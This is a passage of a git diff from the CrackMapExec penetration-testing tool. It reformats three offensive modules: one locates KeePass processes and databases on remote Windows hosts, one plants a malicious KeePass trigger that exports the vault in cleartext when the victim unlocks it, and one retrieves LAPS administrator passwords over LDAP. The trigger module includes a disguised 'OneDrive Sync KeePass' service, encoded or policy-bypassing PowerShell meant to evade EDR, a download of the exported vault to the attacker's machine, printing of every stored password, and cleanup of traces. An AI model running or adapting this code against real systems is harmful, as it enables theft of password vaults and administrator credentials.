up logins: {e}") + context.log.debug( + f"Received general exception while attempting to clean up logins: {e}" + ) diff --git a/cme/modules/keepass_discover.py b/cme/modules/keepass_discover.py index 7ced1525..b3d894cd 100644 --- a/cme/modules/keepass_discover.py +++ b/cme/modules/keepass_discover.py @@ -1,21 +1,22 @@ from csv import reader + class CMEModule: """ - Search for KeePass-related files and process + Search for KeePass-related files and process - Module by @d3lb3 - Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1 + Module by @d3lb3 + Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1 """ - name = 'keepass_discover' + name = "keepass_discover" description = "Search for KeePass-related files and process." - supported_protocols = ['smb'] - opsec_safe = True # only legitimate commands are executed on the remote host (search process and files) + supported_protocols = ["smb"] + opsec_safe = True # only legitimate commands are executed on the remote host (search process and files) multiple_hosts = True def __init__(self): - self.search_type = 'ALL' + self.search_type = "ALL" self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'" def options(self, context, module_options): @@ -29,44 +30,59 @@ class CMEModule: Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)' """ - if 'SEARCH_PATH' in module_options: - self.search_path = module_options['SEARCH_PATH'] + if "SEARCH_PATH" in module_options: + self.search_path = module_options["SEARCH_PATH"] - if 'SEARCH_TYPE' in module_options: - self.search_type = module_options['SEARCH_TYPE'] + if "SEARCH_TYPE" in module_options: + self.search_type = module_options["SEARCH_TYPE"] def on_admin_login(self, context, connection): - - if self.search_type == 'ALL' or self.search_type == 'PROCESS': + if self.search_type == "ALL" or self.search_type == "PROCESS": # search for keepass process search_keepass_process_command_str = 'powershell.exe "Get-Process kee* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' - search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing - csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',') - next(csv_reader) # to skip the csv header line - row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it + search_keepass_process_output_csv = connection.execute( + search_keepass_process_command_str, True + ) # we return the powershell command as a CSV for easier column parsing + csv_reader = reader( + search_keepass_process_output_csv.split("\n"), delimiter="," + ) + next(csv_reader) # to skip the csv header line + row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it for row in csv_reader: row_number += 1 keepass_process_id = row[0] keepass_process_username = row[1] keepass_process_name = row[2] - context.log.highlight('Found process "{}" with PID {} (user {})'.format(keepass_process_name, keepass_process_id, keepass_process_username)) + context.log.highlight( + 'Found process "{}" with PID {} (user {})'.format( + keepass_process_name, + keepass_process_id, + keepass_process_username, + ) + ) if row_number == 0: - context.log.display('No KeePass-related process was found') + context.log.display("No KeePass-related process was found") # search for keepass-related files - if self.search_type == 'ALL' or self.search_type == 'FILES': - search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) - search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload) - search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n") + if self.search_type == "ALL" or self.search_type == "FILES": + search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format( + self.search_path + ) + search_keepass_files_cmd = 'powershell.exe "{}"'.format( + search_keepass_files_payload + ) + search_keepass_files_output = connection.execute( + search_keepass_files_cmd, True + ).split("\r\n") found = False found_xml = False for file in search_keepass_files_output: - if 'KeePass' in file or 'kdbx' in file: - if 'xml' in file: + if "KeePass" in file or "kdbx" in file: + if "xml" in file: found_xml = True found = True - context.log.highlight('Found {}'.format(file)) + context.log.highlight("Found {}".format(file)) if not found: - context.log.display('No KeePass-related file were found') + context.log.display("No KeePass-related file were found") elif not found_xml: - context.log.fail('No config settings file found !!!') + context.log.fail("No config settings file found !!!") diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py index c57060c4..b8459ee1 100644 --- a/cme/modules/keepass_trigger.py +++ b/cme/modules/keepass_trigger.py @@ -19,9 +19,11 @@ class CMEModule: Module by @d3lb3, inspired by @harmj0y work """ - name = 'keepass_trigger' - description = "Set up a malicious KeePass trigger to export the database in cleartext." - supported_protocols = ['smb'] + name = "keepass_trigger" + description = ( + "Set up a malicious KeePass trigger to export the database in cleartext." + ) + supported_protocols = ["smb"] # while the module only executes legit powershell commands on the target (search and edit files) # some EDR like Trend Micro flag base64-encoded powershell as malicious # the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target @@ -33,26 +35,34 @@ class CMEModule: self.action = None self.keepass_config_path = None self.keepass_user = None - self.export_name = 'export.xml' - self.export_path = 'C:\\Users\\Public' - self.powershell_exec_method = 'PS1' + self.export_name = "export.xml" + self.export_path = "C:\\Users\\Public" + self.powershell_exec_method = "PS1" # additional parameters - self.share = 'C$' - self.remote_temp_script_path = 'C:\\Windows\\Temp\\temp.ps1' - self.keepass_binary_path = 'C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe' - self.local_export_path = '/tmp' - self.trigger_name = 'export_database' + self.share = "C$" + self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1" + self.keepass_binary_path = ( + "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe" + ) + self.local_export_path = "/tmp" + self.trigger_name = "export_database" self.poll_frequency_seconds = 5 - self.dummy_service_name = 'OneDrive Sync KeePass' + self.dummy_service_name = "OneDrive Sync KeePass" - with open(get_ps_script('keepass_trigger_module/RemoveKeePassTrigger.ps1'), 'r') as remove_trigger_script_file: + with open( + get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r" + ) as remove_trigger_script_file: self.remove_trigger_script_str = remove_trigger_script_file.read() - with open(get_ps_script('keepass_trigger_module/AddKeePassTrigger.ps1'), 'r') as add_trigger_script_file: + with open( + get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r" + ) as add_trigger_script_file: self.add_trigger_script_str = add_trigger_script_file.read() - with open(get_ps_script('keepass_trigger_module/RestartKeePass.ps1'), 'r') as restart_keepass_script_file: + with open( + get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r" + ) as restart_keepass_script_file: self.restart_keepass_script_str = restart_keepass_script_file.read() def options(self, context, module_options): @@ -87,49 +97,62 @@ class CMEModule: but they can still be easily edited in the module __init__ code if needed """ - if 'ACTION' in module_options: - if module_options['ACTION'] not in ['ADD', 'CHECK', 'RESTART', 'SINGLE_POLL', 'POLL', 'CLEAN', 'ALL']: - context.log.fail('Unrecognized action, use --options to list available parameters') + if "ACTION" in module_options: + if module_options["ACTION"] not in [ + "ADD", + "CHECK", + "RESTART", + "SINGLE_POLL", + "POLL", + "CLEAN", + "ALL", + ]: + context.log.fail( + "Unrecognized action, use --options to list available parameters" + ) exit(1) else: - self.action = module_options['ACTION'] + self.action = module_options["ACTION"] else: - context.log.fail('Missing ACTION option, use --options to list available parameters') + context.log.fail( + "Missing ACTION option, use --options to list available parameters" + ) exit(1) - if 'KEEPASS_CONFIG_PATH' in module_options: - self.keepass_config_path = module_options['KEEPASS_CONFIG_PATH'] + if "KEEPASS_CONFIG_PATH" in module_options: + self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"] - if 'USER' in module_options: - self.keepass_user = module_options['USER'] + if "USER" in module_options: + self.keepass_user = module_options["USER"] - if 'EXPORT_NAME' in module_options: - self.export_name = module_options['EXPORT_NAME'] + if "EXPORT_NAME" in module_options: + self.export_name = module_options["EXPORT_NAME"] - if 'EXPORT_PATH' in module_options: - self.export_path = module_options['EXPORT_PATH'] + if "EXPORT_PATH" in module_options: + self.export_path = module_options["EXPORT_PATH"] - if 'PSH_EXEC_METHOD' in module_options: - if module_options['PSH_EXEC_METHOD'] not in ['ENCODE', 'PS1']: - context.log.fail('Unrecognized powershell execution method, use --options to list available parameters') + if "PSH_EXEC_METHOD" in module_options: + if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]: + context.log.fail( + "Unrecognized powershell execution method, use --options to list available parameters" + ) exit(1) else: - self.powershell_exec_method = module_options['PSH_EXEC_METHOD'] + self.powershell_exec_method = module_options["PSH_EXEC_METHOD"] def on_admin_login(self, context, connection): - - if self.action == 'ADD': + if self.action == "ADD": self.add_trigger(context, connection) - elif self.action == 'CHECK': + elif self.action == "CHECK": self.check_trigger_added(context, connection) - elif self.action == 'RESTART': + elif self.action == "RESTART": self.restart(context, connection) - elif self.action == 'POLL': + elif self.action == "POLL": self.poll(context, connection) - elif self.action == 'CLEAN': + elif self.action == "CLEAN": self.clean(context, connection) self.restart(context, connection) - elif self.action == 'ALL': + elif self.action == "ALL": self.all_in_one(context, connection) def add_trigger(self, context, connection): @@ -137,34 +160,54 @@ class CMEModule: # check if the specified KeePass configuration file exists if self.trigger_added(context, connection): - context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping") + context.log.display( + f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping" + ) return - context.log.display(f"Adding trigger '{self.trigger_name}' to '{self.keepass_config_path}'") + context.log.display( + f"Adding trigger '{self.trigger_name}' to '{self.keepass_config_path}'" + ) # prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc) # see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script - self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportPath', self.export_path) - self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportName', self.export_name) - self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_TriggerName', self.trigger_name) - self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_KeePassXMLPath', self.keepass_config_path) + self.add_trigger_script_str = self.add_trigger_script_str.replace( + "REPLACE_ME_ExportPath", self.export_path + ) + self.add_trigger_script_str = self.add_trigger_script_str.replace( + "REPLACE_ME_ExportName", self.export_name + ) + self.add_trigger_script_str = self.add_trigger_script_str.replace( + "REPLACE_ME_TriggerName", self.trigger_name + ) + self.add_trigger_script_str = self.add_trigger_script_str.replace( + "REPLACE_ME_KeePassXMLPath", self.keepass_config_path + ) # add the malicious trigger to the remote KeePass configuration file - if self.powershell_exec_method == 'ENCODE': - add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode('UTF-16LE')).decode('utf-8') + if self.powershell_exec_method == "ENCODE": + add_trigger_script_b64 = b64encode( + self.add_trigger_script_str.encode("UTF-16LE") + ).decode("utf-8") add_trigger_script_cmd = f"powershell.exe -e {add_trigger_script_b64}" connection.execute(add_trigger_script_cmd) - sleep(2) # as I noticed some delay may happen with the encoded powershell command execution - elif self.powershell_exec_method == 'PS1': + sleep( + 2 + ) # as I noticed some delay may happen with the encoded powershell command execution + elif self.powershell_exec_method == "PS1": try: - self.put_file_execute_delete(context, connection, self.add_trigger_script_str) + self.put_file_execute_delete( + context, connection, self.add_trigger_script_str + ) except Exception as e: context.log.fail(f"Error while adding malicious trigger to file: {e}") sys.exit(1) # checks if the malicious trigger was effectively added to the specified KeePass configuration file if self.trigger_added(context, connection): - context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files") + context.log.success( + f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files" + ) else: context.log.fail(f"Unknown error when adding malicious trigger to file") sys.exit(1) @@ -173,9 +216,13 @@ class CMEModule: """check if the trigger is added to the config file XML tree""" if self.trigger_added(context, connection): - context.log.display(f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'") + context.log.display( + f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'" + ) else: - context.log.display(f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}'") + context.log.display( + f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}'" + ) def restart(self, context, connection): """Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1 @@ -184,9 +231,13 @@ class CMEModule: # search for keepass processes search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' - search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) + search_keepass_process_output_csv = connection.execute( + search_keepass_process_command_str, True + ) # we return the powershell command as a CSV for easier column parsing - csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',') + csv_reader = reader( + search_keepass_process_output_csv.split("\n"), delimiter="," + ) next(csv_reader) # to skip the header line keepass_process_list = list(csv_reader) # check if multiple processes belonging to different users are running (in order to choose which one to restart) @@ -194,11 +245,14 @@ class CMEModule: for process in keepass_process_list: keepass_users.append(process[1]) if len(keepass_users) == 0: - context.log.fail('No running KeePass process found, aborting restart') + context.log.fail("No running KeePass process found, aborting restart") return elif len(keepass_users) == 1: # if there is only 1 KeePass process running # if KEEPASS_USER option is specified then we check if the user matches - if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split('\\')[1] != self.keepass_user): + if self.keepass_user and ( + keepass_users[0] != self.keepass_user + and keepass_users[0].split("\\")[1] != self.keepass_user + ): context.log.fail( f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart" ) @@ -206,9 +260,12 @@ class CMEModule: else: self.keepass_user = keepass_users[0] elif len(keepass_users) > 1 and self.keepass_user: - found_user = False # we search through every KeePass process owner for the specified user + found_user = False # we search through every KeePass process owner for the specified user for user in keepass_users: - if user == self.keepass_user or user.split('\\')[1] == self.keepass_user: + if ( + user == self.keepass_user + or user.split("\\")[1] == self.keepass_user + ): self.keepass_user = keepass_users[0] found_user = True if not found_user: @@ -217,7 +274,9 @@ class CMEModule: ) return else: - context.log.fail('Multiple KeePass processes were found, please specify parameter USER to target one') + context.log.fail( + "Multiple KeePass processes were found, please specify parameter USER to target one" + ) return context.log.display("Restarting {}'s KeePass process".format(keepass_users[0])) @@ -225,28 +284,31 @@ class CMEModule: # prepare the restarting script based on user-specified parameters (e.g: keepass user, etc) # see data/keepass_trigger_module/RestartKeePass.ps1 self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - 'REPLACE_ME_KeePassUser', - self.keepass_user + "REPLACE_ME_KeePassUser", self.keepass_user ) self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - 'REPLACE_ME_KeePassBinaryPath', - self.keepass_binary_path + "REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path ) self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - 'REPLACE_ME_DummyServiceName', - self.dummy_service_name + "REPLACE_ME_DummyServiceName", self.dummy_service_name ) # actually performs the restart on the remote target - if self.powershell_exec_method == 'ENCODE': - restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode('UTF-16LE')).decode('utf-8') - restart_keepass_script_cmd = 'powershell.exe -e {}'.format(restart_keepass_script_b64) + if self.powershell_exec_method == "ENCODE": + restart_keepass_script_b64 = b64encode( + self.restart_keepass_script_str.encode("UTF-16LE") + ).decode("utf-8") + restart_keepass_script_cmd = "powershell.exe -e {}".format( + restart_keepass_script_b64 + ) connection.execute(restart_keepass_script_cmd) - elif self.powershell_exec_method == 'PS1': + elif self.powershell_exec_method == "PS1": try: - self.put_file_execute_delete(context, connection, self.restart_keepass_script_str) + self.put_file_execute_delete( + context, connection, self.restart_keepass_script_str + ) except Exception as e: - context.log.fail('Error while restarting KeePass: {}'.format(e)) + context.log.fail("Error while restarting KeePass: {}".format(e)) return def poll(self, context, connection): @@ -256,100 +318,147 @@ class CMEModule: context.log.display( f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient" ) - context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything") + context.log.display( + "we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything" + ) # if the specified path is %APPDATA%, we need to check in every user's folder - if self.export_path == '%APPDATA%' or self.export_path == '%appdata%': - poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name) + if self.export_path == "%APPDATA%" or self.export_path == "%appdata%": + poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format( + self.export_name + ) else: export_full_path = f"'{self.export_path}\\{self.export_name}'" - poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path) + poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format( + export_full_path, export_full_path + ) # we poll every X seconds until the export path is found on the remote machine while not found: - poll_exports_command_output = connection.execute(poll_export_command_str, True) + poll_exports_command_output = connection.execute( + poll_export_command_str, True + ) if self.export_name not in poll_exports_command_output: - print('.', end='', flush=True) + print(".", end="", flush=True) sleep(self.poll_frequency_seconds) continue - print('') + print("") # once a database is found, downloads it to the attackers machine - context.log.success('Found database export !') + context.log.success("Found database export !") # in case multiple exports found (may happen if several users exported the database to their APPDATA) - for count, export_path in enumerate(poll_exports_command_output.split('\r\n')): + for count, export_path in enumerate( + poll_exports_command_output.split("\r\n") + ): try: buffer = BytesIO() - connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write) + connection.conn.getFile( + self.share, export_path.split(":")[1], buffer.write + ) # if multiple exports found, add a number at the end of local path to prevent override if count > 0: - local_full_path = self.local_export_path + '/' + self.export_name.split('.')[0] + '_' + str(count) + '.' + self.export_name.split('.')[1] + local_full_path = ( + self.local_export_path + + "/" + + self.export_name.split(".")[0] + + "_" + + str(count) + + "." + + self.export_name.split(".")[1] + ) else: - local_full_path = self.local_export_path + '/' + self.export_name + local_full_path = ( + self.local_export_path + "/" + self.export_name + ) # downloads the exported database with open(local_full_path, "wb") as f: f.write(buffer.getbuffer()) - remove_export_command_str = 'powershell.exe Remove-Item {}'.format(export_path) + remove_export_command_str = "powershell.exe Remove-Item {}".format( + export_path + ) connection.execute(remove_export_command_str, True) - context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path)) + context.log.success( + 'Moved remote "{}" to local "{}"'.format( + export_path, local_full_path + ) + ) found = True except Exception as e: - context.log.fail("Error while polling export files, exiting : {}".format(e)) + context.log.fail( + "Error while polling export files, exiting : {}".format(e) + ) def clean(self, context, connection): """Checks for database export + malicious trigger on the remote host, removes everything""" # if the specified path is %APPDATA%, we need to check in every user's folder - if self.export_path == '%APPDATA%' or self.export_path == '%appdata%': - poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name) + if self.export_path == "%APPDATA%" or self.export_path == "%appdata%": + poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format( + self.export_name + ) else: export_full_path = f"'{self.export_path}\\{self.export_name}'" - poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path) + poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format( + export_full_path, export_full_path + ) poll_export_command_output = connection.execute(poll_export_command_str, True) # deletes every export found on the remote machine if self.export_name in poll_export_command_output: # in case multiple exports found (may happen if several users exported the database to their APPDATA) - for export_path in poll_export_command_output.split('\r\n'): - context.log.display(f"Database export found in '{export_path}', removing") + for export_path in poll_export_command_output.split("\r\n"): + context.log.display( + f"Database export found in '{export_path}', removing" + ) remove_export_command_str = f"powershell.exe Remove-Item {export_path}" connection.execute(remove_export_command_str, True) else: - context.log.display(f"No export found in {self.export_path} , everything is cleaned") + context.log.display( + f"No export found in {self.export_path} , everything is cleaned" + ) # if the malicious trigger was not self-deleted, deletes it if self.trigger_added(context, connection): - # prepare the trigger deletion script based on user-specified parameters (e.g: trigger name, etc) # see data/keepass_trigger_module/RemoveKeePassTrigger.ps1 self.remove_trigger_script_str = self.remove_trigger_script_str.replace( - 'REPLACE_ME_KeePassXMLPath', - self.keepass_config_path + "REPLACE_ME_KeePassXMLPath", self.keepass_config_path ) self.remove_trigger_script_str = self.remove_trigger_script_str.replace( - 'REPLACE_ME_TriggerName', - self.trigger_name + "REPLACE_ME_TriggerName", self.trigger_name ) # actually performs trigger deletion - if self.powershell_exec_method == 'ENCODE': - remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode('UTF-16LE')).decode('utf-8') - remove_trigger_script_command_str = f"powershell.exe -e {remove_trigger_script_b64}" + if self.powershell_exec_method == "ENCODE": + remove_trigger_script_b64 = b64encode( + self.remove_trigger_script_str.encode("UTF-16LE") + ).decode("utf-8") + remove_trigger_script_command_str = ( + f"powershell.exe -e {remove_trigger_script_b64}" + ) connection.execute(remove_trigger_script_command_str, True) - elif self.powershell_exec_method == 'PS1': + elif self.powershell_exec_method == "PS1": try: - self.put_file_execute_delete(context, connection, self.remove_trigger_script_str) + self.put_file_execute_delete( + context, connection, self.remove_trigger_script_str + ) except Exception as e: context.log.fail(f"Error while deleting trigger, exiting: {e}") sys.exit(1) # check if the specified KeePass configuration file does not contain the malicious trigger anymore if self.trigger_added(context, connection): - context.log.fail(f"Unknown error while removing trigger '{self.trigger_name}', exiting") + context.log.fail( + f"Unknown error while removing trigger '{self.trigger_name}', exiting" + ) else: - context.log.display(f"Found trigger '{self.trigger_name}' in configuration file, removing") + context.log.display( + f"Found trigger '{self.trigger_name}' in configuration file, removing" + ) else: - context.log.success(f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}', skipping") + context.log.success( + f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}', skipping" + ) def all_in_one(self, context, connection): """Performs ADD, RESTART, POLL and CLEAN actions one after the other""" @@ -375,19 +484,27 @@ class CMEModule: try: buffer = BytesIO() - connection.conn.getFile(self.share, self.keepass_config_path.split(":")[1], buffer.write) + connection.conn.getFile( + self.share, self.keepass_config_path.split(":")[1], buffer.write + ) except Exception as e: - context.log.fail(f"Error while getting file '{self.keepass_config_path}', exiting: {e}") + context.log.fail( + f"Error while getting file '{self.keepass_config_path}', exiting: {e}" + ) sys.exit(1) try: keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue()) except Exception as e: - context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}") + context.log.fail( + f"Error while parsing file '{self.keepass_config_path}', exiting: {e}" + ) sys.exit(1) # check if the specified KeePass configuration file does not already contain the malicious trigger - for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"): + for trigger in keepass_config_xml_root.findall( + ".//Application/TriggerSystem/Triggers/Trigger" + ): if trigger.find("Name").text == self.trigger_name: return True @@ -396,40 +513,58 @@ class CMEModule: def put_file_execute_delete(self, context, connection, psh_script_str): """Helper to upload script to a temporary folder, run then deletes it""" script_str_io = StringIO(psh_script_str) - connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read) - script_execute_cmd = 'powershell.exe -ep Bypass -F {}'.format(self.remote_temp_script_path) + connection.conn.putFile( + self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read + ) + script_execute_cmd = "powershell.exe -ep Bypass -F {}".format( + self.remote_temp_script_path + ) connection.execute(script_execute_cmd, True) - remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item \"{}\""'.format(self.remote_temp_script_path) + remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format( + self.remote_temp_script_path + ) connection.execute(remove_remote_temp_script_cmd) def extract_password(self, context): xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name) xml_tree = ElementTree.parse(xml_doc_path) root = xml_tree.getroot() - to_string = ElementTree.tostring(root, encoding='UTF-8', method='xml') + to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml") xml_to_dict = parse(to_string) dump = json.dumps(xml_to_dict) obj = json.loads(dump) - if len(obj['KeePassFile']['Root']['Group']['Entry']): - for obj2 in obj['KeePassFile']['Root']['Group']['Entry']: - for password in obj2['String']: - if password['Key'] == "Password": - context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text'])) + if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]): + for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]: + for password in obj2["String"]: + if password["Key"] == "Password": + context.log.highlight( + str(password["Key"]) + + " : " + + str(password["Value"]["#text"]) + ) else: - context.log.highlight(str(password['Key']) + " : " + str(password['Value'])) + context.log.highlight( + str(password["Key"]) + " : " + str(password["Value"]) + ) context.log.highlight("") - if len(obj['KeePassFile']['Root']['Group']['Group']): - for obj2 in obj['KeePassFile']['Root']['Group']['Group']: + if len(obj["KeePassFile"]["Root"]["Group"]["Group"]): + for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]: try: - for obj3 in obj2['Entry']: - for password in obj3['String']: - if password['Key'] == "Password": - context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text'])) + for obj3 in obj2["Entry"]: + for password in obj3["String"]: + if password["Key"] == "Password": + context.log.highlight( + str(password["Key"]) + + " : " + + str(password["Value"]["#text"]) + ) else: - context.log.highlight(str(password['Key']) + " : " + str(password['Value'])) + context.log.highlight( + str(password["Key"]) + + " : " + + str(password["Value"]) + ) context.log.highlight("") except KeyError: pass - - diff --git a/cme/modules/laps.py b/cme/modules/laps.py index 7b15a041..96f8a8d5 100644 --- a/cme/modules/laps.py +++ b/cme/modules/laps.py @@ -6,59 +6,84 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket class CMEModule: """ - Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer) + Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer) - Initial module: - @T3KX: https://github.com/T3KX/Crackmapexec-LAPS + Initial module: + @T3KX: https://github.com/T3KX/Crackmapexec-LAPS - Credit: @mpgn_x64, @n00py1 + Credit: @mpgn_x64, @n00py1 """ - name = 'laps' - description = 'Retrieves the LAPS passwords' - supported_protocols = ['ldap'] + name = "laps" + description = "Retrieves the LAPS passwords" + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False def options(self, context, module_options): """ - COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: * + COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: * """ self.computer = None - if 'COMPUTER' in module_options: - self.computer = module_options['COMPUTER'] + if "COMPUTER" in module_options: + self.computer = module_options["COMPUTER"] def on_login(self, context, connection): - context.log.display('Getting LAPS Passwords') + context.log.display("Getting LAPS Passwords") if self.computer is not None: - searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.computer + '))' + searchFilter = ( + "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + + self.computer + + "))" + ) else: - searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))' - attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName'] + searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))" + attributes = [ + "msLAPS-EncryptedPassword", + "msLAPS-Password", + "ms-MCS-AdmPwd", + "sAMAccountName", + ] results = connection.search(searchFilter, attributes, 0) - results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] + results = [ + r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry) + ] if len(results) != 0: laps_computers = [] for computer in results: - msMCSAdmPwd = '' - sAMAccountName = '' - values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']} + msMCSAdmPwd = "" + sAMAccountName = "" + values = { + str(attr["type"]).lower(): str(attr["vals"][0]) + for attr in computer["attributes"] + } if "mslaps-encryptedpassword" in values: - context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") + context.log.fail( + "LAPS password is encrypted and currently CrackMapExec doesn't support the decryption..." + ) return elif "mslaps-password" in values: - r = json.loads(values['mslaps-password']) - laps_computers.append((values['samaccountname'], r['n'], r['p'])) + r = json.loads(values["mslaps-password"]) + laps_computers.append((values["samaccountname"], r["n"], r["p"])) elif "ms-mcs-admpwd" in values: - laps_computers.append((values['samaccountname'], '', values['ms-mcs-admpwd'])) + laps_computers.append( + (values["samaccountname"], "", values["ms-mcs-admpwd"]) + ) else: - context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") + context.log.fail( + "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" + ) laps_computers = sorted(laps_computers, key=lambda x: x[0]) for sAMAccountName, user, 